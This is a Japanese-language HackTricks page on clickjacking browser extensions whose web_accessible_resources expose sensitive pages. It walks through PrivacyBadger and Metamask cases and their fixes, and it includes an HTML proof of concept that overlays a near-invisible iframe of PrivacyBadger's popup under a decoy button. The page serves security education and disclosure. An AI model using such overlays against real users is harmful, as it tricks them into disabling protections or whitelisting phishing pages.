hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

8.2 KiB
Raw Blame History

BrowExt - ClickJacking

ゼロからヒーローまでAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法

基本情報

このページでは、ブラウザ拡張機能のClickJacking脆弱性を悪用します。
ClickJackingとは何かわからない場合は、次を確認してください

{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}

拡張機能には**manifest.json**というファイルが含まれており、そのJSONファイルにはweb_accessible_resourcesというフィールドがあります。Chromeのドキュメントには次のように記載されています:

これらのリソースは、**chrome-extension://[PACKAGE ID]/[PATH]というURLを介してウェブページで利用できるようになります。このURLはextension.getURLメソッド**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用できます。1

ブラウザ拡張機能の**web_accessible_resources**はウェブを介してだけでなく、拡張機能固有の権限で動作します。これは次のことを意味します:

  • 拡張機能の状態を変更する
  • 追加のリソースを読み込む
  • ブラウザとある程度やり取りする

ただし、この機能にはセキュリティリスクがあります。**web_accessible_resources**内のリソースに重要な機能がある場合、攻撃者はこのリソースを外部ウェブページに埋め込む可能性があります。このページを訪れる無疑のユーザーは、この埋め込まれたリソースを誤ってアクティブ化する可能性があります。このアクティブ化により、拡張機能のリソースの権限と機能に応じて意図しない結果が発生する可能性があります。

PrivacyBadgerの例

拡張機能PrivacyBadgerでは、skin/ディレクトリが以下のようにweb_accessible_resourcesとして宣言されている脆弱性が特定されました(元のブログ投稿を参照してください)。

"web_accessible_resources": [
"skin/*",
"icons/*"
]

この構成により、潜在的なセキュリティ問題が発生しました。具体的には、ブラウザでPrivacyBadgerアイコンをクリックすると表示されるskin/popup.htmlファイルがiframe内に埋め込まれる可能性があります。この埋め込みは、ユーザーを誤って「このウェブサイトのPrivacyBadgerを無効にする」をクリックさせるよう悪用される可能性があります。このような行動により、ユーザーのプライバシーが侵害され、PrivacyBadgerの保護が無効になり、ユーザーが追跡される可能性が高まります。この脆弱性の実証として、ClickJackingのビデオ例が提供されています。https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webmで確認できます。

この脆弱性に対処するために、簡単な解決策が実装されました:web_accessible_resourcesのリストから/skin/*を削除すること。この変更により、skin/ディレクトリのコンテンツがWebアクセス可能なリソースを介してアクセスまたは操作されないようにリスクが効果的に軽減されました。

修正は簡単でした:web_accessible_resourcesから/skin/*を削除

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamaskの例

MetamaskのClickJackingに関するブログ投稿はこちらで見つけることができます。この場合、Metamaskは、アクセスに使用されるプロトコルが https: または http:(例えば chrome: ではない)であることを確認することで脆弱性を修正しました:

Metamask拡張機能で修正された別のClickJackingは、ページがフィッシングの疑いがあるとして疑わしいときにClick to whitelistできるようになっていたことです。“web_accessible_resources”: [“inpage.js”, “phishing.html”]のため、そのページはClickjackingの脆弱性があり、攻撃者は被害者が気づかずにホワイトリストに登録するようにクリックさせるために通常のものを表示し、その後フィッシングページに戻ることができました。

Steam Inventory Helperの例

次のページをチェックして、ブラウザ拡張機能のXSSClickJackingの脆弱性と連鎖した方法を確認してください:

{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法